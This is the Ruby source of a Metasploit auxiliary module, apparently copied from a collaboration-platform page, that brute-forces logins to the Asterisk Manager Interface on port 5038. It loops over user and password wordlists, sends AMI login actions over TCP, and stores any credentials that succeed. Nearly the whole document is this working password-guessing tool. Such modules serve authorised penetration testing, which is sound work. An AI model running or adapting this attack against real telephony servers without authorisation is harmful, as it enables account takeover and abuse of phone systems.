Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Tcp
8
  include Msf::Auxiliary::Scanner
9
  include Msf::Auxiliary::Report
10
  include Msf::Auxiliary::AuthBrute
11

12
  def initialize(info={})
13
    super(update_info(info,
14
      'Name'           => 'Asterisk Manager Login Utility',
15
      'Description'    => %q{
16
        This module attempts to authenticate to an Asterisk Manager service. Please note
17
        that by default, Asterisk Call Management (port 5038) only listens locally, but
18
        this can be manually configured in file /etc/asterisk/manager.conf by the admin
19
        on the victim machine.
20
      },
21
      'Author'         =>
22
        [
23
          'dflah_ <dflah[at]alligatorteam.org>',
24
        ],
25
      'References'     =>
26
        [
27
          ['URL', 'http://www.asterisk.org/astdocs/node201.html'], # Docs for AMI
28
        ],
29
      'License'     => MSF_LICENSE
30
    ))
31

32
    register_options(
33
      [
34
        Opt::RPORT(5038),
35
        OptString.new('USER_FILE',
36
          [
37
            false,
38
            'The file that contains a list of probable users accounts.',
39
            File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')
40
          ]),
41

42
        OptString.new('PASS_FILE',
43
          [
44
            false,
45
            'The file that contains a list of probable passwords.',
46
            File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')
47
          ])
48
      ])
49
  end
50

51
  def report_cred(opts)
52
    service_data = {
53
      address: opts[:ip],
54
      port: opts[:port],
55
      service_name: 'asterisk_manager',
56
      protocol: 'tcp',
57
      workspace_id: myworkspace_id
58
    }
59

60
    credential_data = {
61
      origin_type: :service,
62
      module_fullname: fullname,
63
      username: opts[:user],
64
      private_data: opts[:password],
65
      private_type: :password
66
    }.merge(service_data)
67

68
    login_data = {
69
      last_attempted_at: DateTime.now,
70
      core: create_credential(credential_data),
71
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
72
      proof: opts[:proof]
73
    }.merge(service_data)
74

75
    create_credential_login(login_data)
76
  end
77

78
  def run_host(ip)
79
    print_status("Initializing module...")
80
    begin
81
      each_user_pass do |user, pass|
82
        do_login(user, pass)
83
      end
84
    rescue ::Rex::ConnectionError
85
    rescue ::Exception => e
86
      vprint_error("#{rhost}:#{rport} #{e.to_s} #{e.backtrace}")
87
    end
88
  end
89

90
  def send_manager(command='')
91
    begin
92
      @result = ''
93
      if (!@connected)
94
        connect
95
        @connected = true
96
        select(nil,nil,nil,0.4)
97
      end
98
      sock.put(command)
99
      @result = sock.get_once || ''
100
    rescue ::Exception => err
101
      print_error("Error: #{err.to_s}")
102
    end
103
  end
104

105
  def do_login(user='',pass='')
106
    @connected = false
107
    begin
108
      send_manager(nil) # connect Only
109
      if @result !~ /^Asterisk Call Manager(.*)/
110
        print_error("Asterisk Manager does not appear to be running")
111
        return :abort
112
      else
113
        vprint_status("#{rhost}:#{rport} - Trying user:'#{user}' with password:'#{pass}'")
114
        cmd = "Action: Login\r\nUsername: #{user}\r\nSecret: #{pass}\r\n\r\n"
115
        send_manager(cmd)
116
        if /Response: Success/.match(@result)
117
          print_good("User: \"#{user}\" using pass: \"#{pass}\" - can login on #{rhost}:#{rport}!")
118
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: @result)
119
          disconnect
120
          return :next_user
121
        else
122
          disconnect
123
          return :fail
124
        end
125
      end
126
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
127
    rescue ::Timeout::Error, ::Errno::EPIPE
128
    end
129
  end
130
end
131

132